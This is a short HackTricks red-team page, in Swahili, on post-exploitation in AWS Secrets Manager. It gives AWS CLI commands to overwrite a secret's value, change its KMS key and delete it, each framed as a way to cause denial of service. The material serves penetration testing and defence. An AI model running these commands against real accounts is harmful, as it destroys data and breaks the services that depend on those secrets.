AWS - Usimamizi wa Siri Baada ya Kutekeleza

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Usimamizi wa Siri

Kwa maelezo zaidi angalia:

AWS - Secrets Manager Enum

Soma Siri

siri zenyewe ni taarifa nyeti, angalia ukurasa wa privesc kujifunza jinsi ya kuzisoma.

Badilisha Thamani ya Siri kwa DoS

Kubadilisha thamani ya siri unaweza DoS mfumo wote unaotegemea thamani hiyo.

warning

Kumbuka kwamba thamani za awali pia zimehifadhiwa, hivyo ni rahisi kurudi kwenye thamani ya awali.

bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Badilisha funguo la KMS

bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Kuondoa Siri

Idadi ya chini ya siku za kuondoa siri ni 7

bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks